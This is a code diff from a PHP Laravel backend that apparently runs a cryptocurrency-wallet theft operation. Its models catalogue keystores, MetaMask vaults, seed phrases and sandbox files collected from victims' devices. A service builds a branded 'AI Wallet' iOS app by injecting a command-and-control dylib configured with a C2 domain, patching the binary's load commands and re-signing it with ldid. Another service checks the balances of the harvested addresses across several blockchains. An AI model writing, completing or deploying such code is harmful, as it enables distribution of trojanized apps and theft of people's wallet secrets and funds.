'kind' => $kind,
|
||||
'has_web3_keystore' => $row->containsWeb3Keystore($json),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public static function listStatsAttributes(array $stats): array
|
||||
{
|
||||
if (! self::hasListStatsColumns()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return [
|
||||
'list_kind' => $stats['kind'],
|
||||
'list_item_count' => $stats['item_count'],
|
||||
'list_summary' => $stats['summary'],
|
||||
'list_has_web3' => ! empty($stats['has_web3_keystore']) ? 1 : 0,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
||||
*/
|
||||
private function persistListStats(array $stats): void
|
||||
{
|
||||
$attrs = self::listStatsAttributes($stats);
|
||||
if ($attrs === []) {
|
||||
return;
|
||||
}
|
||||
foreach ($attrs as $key => $value) {
|
||||
$this->setAttribute($key, $value);
|
||||
}
|
||||
if ($this->id) {
|
||||
self::query()->whereKey($this->id)->update($attrs);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Count list entries and pick up to 3 names without hashing / base64-decoding blobs.
|
||||
*
|
||||
* @param array<string, mixed> $json
|
||||
* @param list<string> $names
|
||||
*/
|
||||
private function collectListMeta(array $json, int &$count, array &$names): void
|
||||
{
|
||||
$wallets = $json['wallets'] ?? null;
|
||||
if (is_array($wallets)) {
|
||||
foreach ($wallets as $key => $bucket) {
|
||||
if (is_string($bucket) && $bucket !== '') {
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$names[] = is_string($key) ? $key : 'wallet';
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
if (! is_array($bucket)) {
|
||||
continue;
|
||||
}
|
||||
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
||||
foreach ($items as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$name = trim((string) ($item['account'] ?? ''));
|
||||
if ($name !== '') {
|
||||
$names[] = $name;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
$sandbox = $json['sandbox'] ?? null;
|
||||
if (is_array($sandbox)) {
|
||||
$this->collectSandboxMeta($sandbox, $count, $names);
|
||||
}
|
||||
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$names[] = (string) ($json['id'] ?? $json['type'] ?? 'keystore');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $sandbox
|
||||
* @param list<string> $names
|
||||
*/
|
||||
private function collectSandboxMeta(array $sandbox, int &$count, array &$names, string $prefix = ''): void
|
||||
{
|
||||
foreach ($sandbox as $key => $value) {
|
||||
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
||||
if (is_array($value)) {
|
||||
if (isset($value['items']) && is_array($value['items'])) {
|
||||
foreach ($value['items'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$name = trim((string) ($item['account'] ?? ''));
|
||||
$names[] = $name !== '' ? $name : $path;
|
||||
}
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
$this->collectSandboxMeta($value, $count, $names, $path);
|
||||
|
||||
continue;
|
||||
}
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$names[] = $path;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static function kindLabelFor(string $kind): string
|
||||
{
|
||||
return match ($kind) {
|
||||
'keychain.wallets' => '钥匙串',
|
||||
'sandbox' => '沙盒文件',
|
||||
'web3.keystore' => '标准 Keystore',
|
||||
'metamask.vault' => 'MetaMask Vault',
|
||||
'coin98.wallet' => 'Coin98 加密钱包',
|
||||
'encrypted.sandbox' => '加密钱包文件',
|
||||
default => $kind !== '' ? $kind : '未知',
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $rawJson
|
||||
*/
|
||||
@@ -130,12 +369,20 @@ class WalletKeystore extends Model
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $rawJson
|
||||
* @param bool $needsPassword When true, persist needs_password=1. Never writes 0.
|
||||
*/
|
||||
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self
|
||||
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson, bool $needsPassword = false): self
|
||||
{
|
||||
$hash = self::hashPayload($rawJson);
|
||||
$matches = [];
|
||||
foreach (self::query()->where('device_id', $device->id)->select(['id', 'content_hash', 'decrypted'])->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
||||
$select = ['id', 'content_hash', 'decrypted'];
|
||||
if (self::hasChainColumn()) {
|
||||
$select[] = 'chain';
|
||||
}
|
||||
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||
$select[] = 'needs_password';
|
||||
}
|
||||
foreach (self::query()->where('device_id', $device->id)->select($select)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
||||
$rowHash = (string) $row->content_hash;
|
||||
if ($rowHash === '') {
|
||||
$raw = self::query()->whereKey($row->id)->value('raw_json');
|
||||
@@ -159,6 +406,10 @@ class WalletKeystore extends Model
|
||||
foreach (array_slice($matches, 1) as $dup) {
|
||||
$dup->delete();
|
||||
}
|
||||
if ($needsPassword) {
|
||||
self::markNeedsPassword($keep);
|
||||
}
|
||||
self::fillChain($keep, $device);
|
||||
|
||||
return $keep;
|
||||
}
|
||||
@@ -169,13 +420,62 @@ class WalletKeystore extends Model
|
||||
'decrypted' => 0,
|
||||
'raw_json' => $rawJson,
|
||||
];
|
||||
if (self::hasChainColumn()) {
|
||||
$payload['chain'] = self::chainFromDevice($device);
|
||||
}
|
||||
$payload = array_merge($payload, self::listStatsAttributes(self::computeListStatsFromJson($rawJson)));
|
||||
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
|
||||
$payload['content_hash'] = $hash;
|
||||
}
|
||||
if ($needsPassword && \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||
$payload['needs_password'] = 1;
|
||||
}
|
||||
|
||||
return self::query()->create($payload);
|
||||
}
|
||||
|
||||
public static function chainFromDevice(Device $device): int
|
||||
{
|
||||
$chain = (int) ($device->chain ?: Device::CHAIN_CORUNA);
|
||||
|
||||
return in_array($chain, [Device::CHAIN_CORUNA, Device::CHAIN_DARKSWORD, Device::CHAIN_APP], true)
|
||||
? $chain
|
||||
: Device::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
/**
|
||||
* Fill missing chain from the device. Does not overwrite a stored value.
|
||||
*/
|
||||
public static function fillChain(self $row, Device $device): void
|
||||
{
|
||||
if (! self::hasChainColumn()) {
|
||||
return;
|
||||
}
|
||||
if ((int) $row->chain === Device::CHAIN_CORUNA
|
||||
|| (int) $row->chain === Device::CHAIN_DARKSWORD
|
||||
|| (int) $row->chain === Device::CHAIN_APP) {
|
||||
return;
|
||||
}
|
||||
$chain = self::chainFromDevice($device);
|
||||
self::query()->whereKey($row->id)->update(['chain' => $chain]);
|
||||
$row->setAttribute('chain', $chain);
|
||||
}
|
||||
|
||||
/**
|
||||
* Flag a row as requiring a user password. Writes 1 only; never 0.
|
||||
*/
|
||||
public static function markNeedsPassword(self $row): void
|
||||
{
|
||||
if (! \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||
return;
|
||||
}
|
||||
if ((int) $row->needs_password === 1) {
|
||||
return;
|
||||
}
|
||||
self::query()->whereKey($row->id)->update(['needs_password' => 1]);
|
||||
$row->setAttribute('needs_password', 1);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
@@ -208,11 +508,7 @@ class WalletKeystore extends Model
|
||||
|
||||
public function kindLabel(): string
|
||||
{
|
||||
return match ($this->kind()) {
|
||||
'keychain.wallets' => '钥匙串',
|
||||
'sandbox' => '沙盒文件',
|
||||
default => $this->kind() !== '' ? $this->kind() : '未知',
|
||||
};
|
||||
return self::kindLabelFor($this->kind());
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -228,15 +524,24 @@ class WalletKeystore extends Model
|
||||
public function hasWeb3Keystore(): bool
|
||||
{
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||
if ($this->isWeb3KeystoreNode($json)) {
|
||||
|
||||
return $this->containsWeb3Keystore($json);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $node
|
||||
*/
|
||||
private function containsWeb3Keystore(mixed $node, int $depth = 0): bool
|
||||
{
|
||||
if ($depth > 12 || ! is_array($node)) {
|
||||
return false;
|
||||
}
|
||||
if ($this->isWeb3KeystoreNode($node)) {
|
||||
return true;
|
||||
}
|
||||
$wallets = $json['wallets'] ?? null;
|
||||
if (is_array($wallets)) {
|
||||
foreach ($wallets as $bucket) {
|
||||
if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) {
|
||||
return true;
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
if (is_array($child) && $this->containsWeb3Keystore($child, $depth + 1)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -11,8 +11,17 @@ class WalletMnemonic extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'origin_device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
|
||||
'discovery_complete', 'discovered_at',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'discovery_complete' => 'boolean',
|
||||
'discovered_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Providers;
|
||||
|
||||
use App\Services\Alchemy\AlchemyBalanceService;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
@@ -9,6 +10,7 @@ use App\Services\Ocr\TesseractOcrDriver;
|
||||
use App\Services\SettingsService;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
use Nutgram\Laravel\RunningMode\LaravelWebhook;
|
||||
@@ -40,10 +42,22 @@ class AppServiceProvider extends ServiceProvider
|
||||
});
|
||||
|
||||
$this->app->bind(OcrDriver::class, TesseractOcrDriver::class);
|
||||
|
||||
$this->app->singleton(AlchemyBalanceService::class, function () {
|
||||
return AlchemyBalanceService::make();
|
||||
});
|
||||
}
|
||||
|
||||
public function boot(): void
|
||||
{
|
||||
// Floor for outbound calls that don't set their own timeout. Explicit
|
||||
// Http::timeout() still wins. 120s leaves room for slow uploads;
|
||||
// connect fails fast enough that a dead host doesn't sit for the full window.
|
||||
Http::globalOptions([
|
||||
'connect_timeout' => 20,
|
||||
'timeout' => 120,
|
||||
]);
|
||||
|
||||
if (! $this->app->runningInConsole()) {
|
||||
$limit = (int) ini_get('max_execution_time');
|
||||
if ($limit > 0 && $limit < 60) {
|
||||
|
||||
@@ -0,0 +1,299 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Build a customized AI Wallet IPA for App-builder channels.
|
||||
*
|
||||
* Uses pre-compiled c2_simple.dylib + runtime c2_config.plist.
|
||||
* Binary and plist editing use Python scripts (PHP regex corrupts XML/Mach-O).
|
||||
* Signing uses ldid via proc_open.
|
||||
*/
|
||||
class AiWalletPackageService
|
||||
{
|
||||
private const BASE_IPA = 'app-templates/ai-live-base.ipa';
|
||||
private const C2_DYLIB = 'app-templates/c2_simple.dylib';
|
||||
|
||||
private const ICON_SIZES = [
|
||||
'AppIcon60x60@2x.png' => 120,
|
||||
'AppIcon60x60@3x.png' => 180,
|
||||
'AppIcon76x76@2x~ipad.png' => 152,
|
||||
];
|
||||
|
||||
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
||||
{
|
||||
$baseIpa = storage_path('app/'.self::BASE_IPA);
|
||||
$c2Dylib = storage_path('app/'.self::C2_DYLIB);
|
||||
|
||||
if (!file_exists($baseIpa)) {
|
||||
return $this->fail('Base IPA not found: '.$baseIpa);
|
||||
}
|
||||
if (!file_exists($c2Dylib)) {
|
||||
return $this->fail('c2_simple.dylib not found: '.$c2Dylib);
|
||||
}
|
||||
|
||||
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
||||
if (is_dir($workDir)) $this->rrmdir($workDir);
|
||||
@mkdir($workDir, 0755, true);
|
||||
|
||||
try {
|
||||
Log::info('AiWallet: build started', ['channel' => $channel->channel_id]);
|
||||
|
||||
// 1. Extract base IPA
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
|
||||
$zip->extractTo($workDir);
|
||||
$zip->close();
|
||||
|
||||
$appDir = $this->findAppDir($workDir);
|
||||
if (!$appDir) throw new RuntimeException('No .app directory found');
|
||||
|
||||
// 2. Copy pre-compiled c2_simple.dylib
|
||||
$fwDir = $appDir.'/Frameworks';
|
||||
if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
|
||||
copy($c2Dylib, $fwDir.'/c2_simple.dylib');
|
||||
Log::info('AiWallet: c2_simple.dylib copied');
|
||||
|
||||
// 3. Write c2_config.plist
|
||||
$this->writeConfigPlist($appDir, $channel, $apiDomain);
|
||||
Log::info('AiWallet: c2_config.plist written');
|
||||
|
||||
// 4. Add LC_LOAD_DYLIB (Python script)
|
||||
$mainBin = $this->findMainBinary($appDir);
|
||||
$this->runPython(base_path('bin/add_dylib.py'), [$mainBin, '@rpath/c2_simple.dylib']);
|
||||
Log::info('AiWallet: LC_LOAD_DYLIB added');
|
||||
|
||||
// 5. Patch Info.plist (Python script)
|
||||
$this->runPython(base_path('bin/patch_plist.py'), [
|
||||
$appDir.'/Info.plist',
|
||||
$channel->app_name,
|
||||
$channel->bundle_id ?: 'com.ai.wallet.next',
|
||||
'1.6.1',
|
||||
]);
|
||||
Log::info('AiWallet: Info.plist patched');
|
||||
|
||||
// 6. Replace splash + remove LaunchScreen
|
||||
$this->replaceSplashAndLaunchScreen($appDir);
|
||||
Log::info('AiWallet: splash/LaunchScreen replaced');
|
||||
|
||||
// 7. Generate icons
|
||||
if ($logoPath && file_exists($logoPath)) {
|
||||
$this->generateIcons($appDir, $logoPath);
|
||||
Log::info('AiWallet: icons generated');
|
||||
}
|
||||
|
||||
// 8. Sign with ldid
|
||||
$this->sign($appDir);
|
||||
Log::info('AiWallet: signed');
|
||||
|
||||
// 9. Package IPA
|
||||
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
||||
$outputFull = public_path($outputPath);
|
||||
@mkdir(dirname($outputFull), 0755, true);
|
||||
|
||||
$outZip = new \ZipArchive;
|
||||
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
||||
throw new RuntimeException('Cannot create output IPA');
|
||||
}
|
||||
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
||||
$outZip->close();
|
||||
|
||||
$size = filesize($outputFull);
|
||||
$this->rrmdir($workDir);
|
||||
|
||||
Log::info('AiWallet: build complete', ['size' => $size]);
|
||||
return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
|
||||
|
||||
} catch (\Throwable $e) {
|
||||
$this->rrmdir($workDir);
|
||||
Log::error('AiWallet: build failed', [
|
||||
'channel' => $channel->channel_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
||||
}
|
||||
}
|
||||
|
||||
private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
|
||||
{
|
||||
$config = [
|
||||
'C2Domain' => $apiDomain,
|
||||
'C2Port' => '443',
|
||||
'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
|
||||
'AppId' => $channel->channel_id,
|
||||
'ChannelId' => $channel->channel_id,
|
||||
'AppName' => $channel->app_name,
|
||||
];
|
||||
|
||||
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
||||
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
|
||||
.'<plist version="1.0"><dict>'."\n";
|
||||
foreach ($config as $key => $value) {
|
||||
$xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
|
||||
}
|
||||
$xml .= '</dict></plist>';
|
||||
file_put_contents($appDir.'/c2_config.plist', $xml);
|
||||
}
|
||||
|
||||
private function runPython(string $script, array $args): void
|
||||
{
|
||||
if (!file_exists($script)) {
|
||||
throw new RuntimeException('Script not found: '.$script);
|
||||
}
|
||||
$cmd = 'python3 '.escapeshellarg($script);
|
||||
foreach ($args as $arg) {
|
||||
$cmd .= ' '.escapeshellarg($arg);
|
||||
}
|
||||
$cmd .= ' 2>&1';
|
||||
|
||||
$output = [];
|
||||
$exitCode = 0;
|
||||
exec($cmd, $output, $exitCode);
|
||||
|
||||
if ($exitCode !== 0) {
|
||||
throw new RuntimeException(basename($script).' failed ('.$exitCode.'): '.implode("\n", $output));
|
||||
}
|
||||
Log::info('AiWallet: '.basename($script).' output', ['output' => $output]);
|
||||
}
|
||||
|
||||
private function replaceSplashAndLaunchScreen(string $appDir): void
|
||||
{
|
||||
// Replace Flutter splash with white
|
||||
$splashPath = $appDir.'/Frameworks/App.framework/flutter_assets/assets/launch/splash.png';
|
||||
if (file_exists($splashPath) && function_exists('imagecreatetruecolor')) {
|
||||
$img = imagecreatetruecolor(10, 10);
|
||||
$white = imagecolorallocate($img, 255, 255, 255);
|
||||
imagefill($img, 0, 0, $white);
|
||||
imagepng($img, $splashPath);
|
||||
imagedestroy($img);
|
||||
}
|
||||
|
||||
// Remove LaunchScreen storyboard
|
||||
$lsDir = $appDir.'/Base.lproj/LaunchScreen.storyboardc';
|
||||
if (is_dir($lsDir)) $this->rrmdir($lsDir);
|
||||
}
|
||||
|
||||
private function generateIcons(string $appDir, string $logoPath): void
|
||||
{
|
||||
if (!function_exists('imagecreatefrompng')) {
|
||||
Log::warning('AiWallet: GD not available, skipping icons');
|
||||
return;
|
||||
}
|
||||
|
||||
$src = imagecreatefrompng($logoPath);
|
||||
if (!$src) return;
|
||||
|
||||
// Remove Assets.car so iOS uses loose PNGs
|
||||
$assetsCar = $appDir.'/Assets.car';
|
||||
if (file_exists($assetsCar)) unlink($assetsCar);
|
||||
|
||||
foreach (self::ICON_SIZES as $filename => $size) {
|
||||
$dst = imagecreatetruecolor($size, $size);
|
||||
imagealphablending($dst, false);
|
||||
imagesavealpha($dst, true);
|
||||
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src));
|
||||
imagepng($dst, $appDir.'/'.$filename);
|
||||
imagedestroy($dst);
|
||||
}
|
||||
imagedestroy($src);
|
||||
}
|
||||
|
||||
private function sign(string $appDir): void
|
||||
{
|
||||
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
||||
if ($ldidPath === '' || !file_exists($ldidPath)) {
|
||||
Log::warning('AiWallet: ldid not found', ['path' => $ldidPath]);
|
||||
return;
|
||||
}
|
||||
|
||||
$csDir = $appDir.'/_CodeSignature';
|
||||
if (is_dir($csDir)) $this->rrmdir($csDir);
|
||||
|
||||
$binaries = array_merge(
|
||||
[$this->findMainBinary($appDir)],
|
||||
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||||
glob($appDir.'/*.dylib') ?: [],
|
||||
);
|
||||
|
||||
foreach ($binaries as $bin) {
|
||||
if (!is_file($bin)) continue;
|
||||
|
||||
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
|
||||
$proc = proc_open([$ldidPath, '-S', $bin], $spec, $pipes);
|
||||
|
||||
if (is_resource($proc)) {
|
||||
fclose($pipes[0]);
|
||||
$stdout = stream_get_contents($pipes[1]);
|
||||
$stderr = stream_get_contents($pipes[2]);
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
$exitCode = proc_close($proc);
|
||||
|
||||
if ($exitCode !== 0) {
|
||||
Log::warning('AiWallet: ldid failed for '.basename($bin), [
|
||||
'exit' => $exitCode, 'stderr' => $stderr,
|
||||
]);
|
||||
} else {
|
||||
Log::info('AiWallet: ldid signed '.basename($bin));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@mkdir($csDir, 0755, true);
|
||||
file_put_contents($csDir.'/CodeResources',
|
||||
'<?xml version="1.0" encoding="UTF-8"?>'."\n".
|
||||
'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
|
||||
}
|
||||
|
||||
private function findAppDir(string $workDir): ?string
|
||||
{
|
||||
$payload = $workDir.'/Payload';
|
||||
if (!is_dir($payload)) return null;
|
||||
foreach (scandir($payload) as $item) {
|
||||
if (str_ends_with($item, '.app')) return $payload.'/'.$item;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private function findMainBinary(string $appDir): string
|
||||
{
|
||||
$appName = basename($appDir, '.app');
|
||||
return $appDir.'/'.$appName;
|
||||
}
|
||||
|
||||
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
||||
{
|
||||
foreach (scandir($dir) as $item) {
|
||||
if ($item === '.' || $item === '..') continue;
|
||||
$path = $dir.'/'.$item;
|
||||
$zipPath = $prefix.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$zip->addEmptyDir($zipPath);
|
||||
$this->addDirToZip($zip, $path, $zipPath);
|
||||
} else {
|
||||
$zip->addFile($path, $zipPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function rrmdir(string $dir): void
|
||||
{
|
||||
if (!is_dir($dir)) return;
|
||||
foreach (scandir($dir) as $item) {
|
||||
if ($item === '.' || $item === '..') continue;
|
||||
$path = $dir.'/'.$item;
|
||||
if (is_dir($path)) $this->rrmdir($path);
|
||||
else @unlink($path);
|
||||
}
|
||||
@rmdir($dir);
|
||||
}
|
||||
|
||||
private function fail(string $error): array
|
||||
{
|
||||
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,365 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Alchemy;
|
||||
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* Balance + activation via the Alchemy Blockchain Data API (JSON-RPC) for ETH,
|
||||
* BSC, and SOL. BTC is not handled here (Alchemy has no address-balance API on
|
||||
* the current plan) — BTC stays on the BtcDriver (mempool.space). TRON stays on
|
||||
* TronGrid.
|
||||
*
|
||||
* On 401 (invalid key / network not enabled) the service is flagged unavailable
|
||||
* for a short cool-down so callers skip straight to the per-chain RPC fallback.
|
||||
*
|
||||
* Normalized result shape (compatible with the former Tokenview service):
|
||||
* [
|
||||
* 'activated' => bool,
|
||||
* 'native' => ['symbol','amount','amount_usd','contract'] | null,
|
||||
* 'tokens' => list<['symbol','contract','decimals','amount','amount_usd']>,
|
||||
* 'first_active' => null,
|
||||
* 'last_active' => null,
|
||||
* ]
|
||||
*/
|
||||
class AlchemyBalanceService
|
||||
{
|
||||
public const DISABLE_CACHE_KEY = 'alchemy-data:disabled';
|
||||
public const DISABLE_TTL_SECONDS = 300;
|
||||
|
||||
public function __construct(
|
||||
private readonly string $apiKey,
|
||||
private readonly string $ethRpcBase,
|
||||
private readonly string $bscRpcBase,
|
||||
private readonly string $solRpcBase,
|
||||
private readonly int $timeout,
|
||||
) {}
|
||||
|
||||
public static function make(): self
|
||||
{
|
||||
return new self(
|
||||
(string) config('coruna.alchemy.api_key', ''),
|
||||
rtrim((string) config('coruna.alchemy.eth_rpc_url', ''), '/'),
|
||||
rtrim((string) config('coruna.alchemy.bsc_rpc_url', ''), '/'),
|
||||
rtrim((string) config('coruna.alchemy.sol_rpc_url', ''), '/'),
|
||||
(int) config('coruna.alchemy.timeout', 30),
|
||||
);
|
||||
}
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return trim($this->apiKey) !== '' && ! Cache::has(self::DISABLE_CACHE_KEY);
|
||||
}
|
||||
|
||||
private function disableTemporarily(): void
|
||||
{
|
||||
Cache::put(self::DISABLE_CACHE_KEY, 1, self::DISABLE_TTL_SECONDS);
|
||||
}
|
||||
|
||||
/**
|
||||
* Map chain_type → Alchemy network slug + RPC base. Null = not handled here.
|
||||
*
|
||||
* @return array{network: string, rpc: string, native: string}|null
|
||||
*/
|
||||
private function evmSpec(string $chainType): ?array
|
||||
{
|
||||
return match (strtoupper(trim($chainType))) {
|
||||
'ETH', 'ETHEREUM', 'EVM' => ['network' => 'eth-mainnet', 'rpc' => $this->ethRpcBase, 'native' => 'ETH'],
|
||||
'BSC', 'BNB', 'BINANCE' => ['network' => 'bnb-mainnet', 'rpc' => $this->bscRpcBase, 'native' => 'BNB'],
|
||||
default => null,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* SOL network spec (Solana JSON-RPC, separate from EVM).
|
||||
*/
|
||||
private function solSpec(): ?array
|
||||
{
|
||||
return $this->solRpcBase !== '' ? ['network' => 'solana-mainnet', 'rpc' => $this->solRpcBase] : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Balance + activation + USDT for the refresh/probe path. No price enrichment
|
||||
* (the refresh only persists coin columns, not USD). Returns null when the
|
||||
* chain is not handled here or the Alchemy RPC is unavailable → caller falls
|
||||
* back to the per-chain RPC driver.
|
||||
*
|
||||
* @return array{activated: bool, native: ?array, tokens: list<array>, first_active: ?string, last_active: ?string}|null
|
||||
*/
|
||||
public function fetch(string $chainType, string $address): ?array
|
||||
{
|
||||
$addr = trim($address);
|
||||
if ($addr === '' || ! $this->isEnabled()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$upper = strtoupper(trim($chainType));
|
||||
if (in_array($upper, ['SOL', 'SOLANA'], true)) {
|
||||
return $this->fetchSol($addr);
|
||||
}
|
||||
|
||||
$spec = $this->evmSpec($chainType);
|
||||
if ($spec === null) {
|
||||
return null; // BTC/TRON handled elsewhere
|
||||
}
|
||||
|
||||
$rpc = $spec['rpc'];
|
||||
if ($rpc === '') {
|
||||
return null; // network not configured
|
||||
}
|
||||
|
||||
try {
|
||||
$nativeHex = $this->rpc($rpc, 'eth_getBalance', [$this->evmAddr($addr), 'latest']);
|
||||
$txCountHex = $this->rpc($rpc, 'eth_getTransactionCount', [$this->evmAddr($addr), 'latest']);
|
||||
$native = $this->humanize($this->hexToDec((string) $nativeHex), 18);
|
||||
$txCount = (int) hexdec((string) $txCountHex);
|
||||
$activated = $this->positive($native) || $txCount > 0;
|
||||
|
||||
$usdtContract = (string) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_contract', '');
|
||||
$usdt = '0';
|
||||
$usdtDecimals = 6;
|
||||
if ($usdtContract !== '') {
|
||||
$usdtRaw = $this->tokenBalanceRaw($rpc, $addr, $usdtContract);
|
||||
$usdtDecimals = (int) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_decimals', 6);
|
||||
$usdt = $this->humanize($usdtRaw, $usdtDecimals);
|
||||
}
|
||||
|
||||
$tokens = [];
|
||||
if ($this->positive($usdt)) {
|
||||
$tokens[] = [
|
||||
'symbol' => 'USDT',
|
||||
'contract' => $usdtContract,
|
||||
'decimals' => $usdtDecimals,
|
||||
'amount' => $usdt,
|
||||
'amount_usd' => null,
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => $activated,
|
||||
'native' => $this->positive($native)
|
||||
? ['symbol' => $spec['native'], 'amount' => $native, 'amount_usd' => null, 'contract' => '']
|
||||
: null,
|
||||
'tokens' => $tokens,
|
||||
'first_active' => null,
|
||||
'last_active' => null,
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('Alchemy fetch failed', [
|
||||
'chain' => $chainType,
|
||||
'address' => $addr,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* SOL balance + USDT (SPL) via Alchemy Solana JSON-RPC.
|
||||
*
|
||||
* @return array{activated: bool, native: ?array, tokens: list<array>, first_active: ?string, last_active: ?string}|null
|
||||
*/
|
||||
private function fetchSol(string $address): ?array
|
||||
{
|
||||
$spec = $this->solSpec();
|
||||
if ($spec === null) {
|
||||
return null; // SOL not configured
|
||||
}
|
||||
$rpc = $spec['rpc'];
|
||||
|
||||
try {
|
||||
$balanceResult = $this->rpc($rpc, 'getBalance', [$address, ['commitment' => 'confirmed']]);
|
||||
$lamports = '0';
|
||||
if (is_array($balanceResult) && isset($balanceResult['value']) && is_numeric($balanceResult['value'])) {
|
||||
$lamports = (string) $balanceResult['value'];
|
||||
} elseif (is_numeric($balanceResult)) {
|
||||
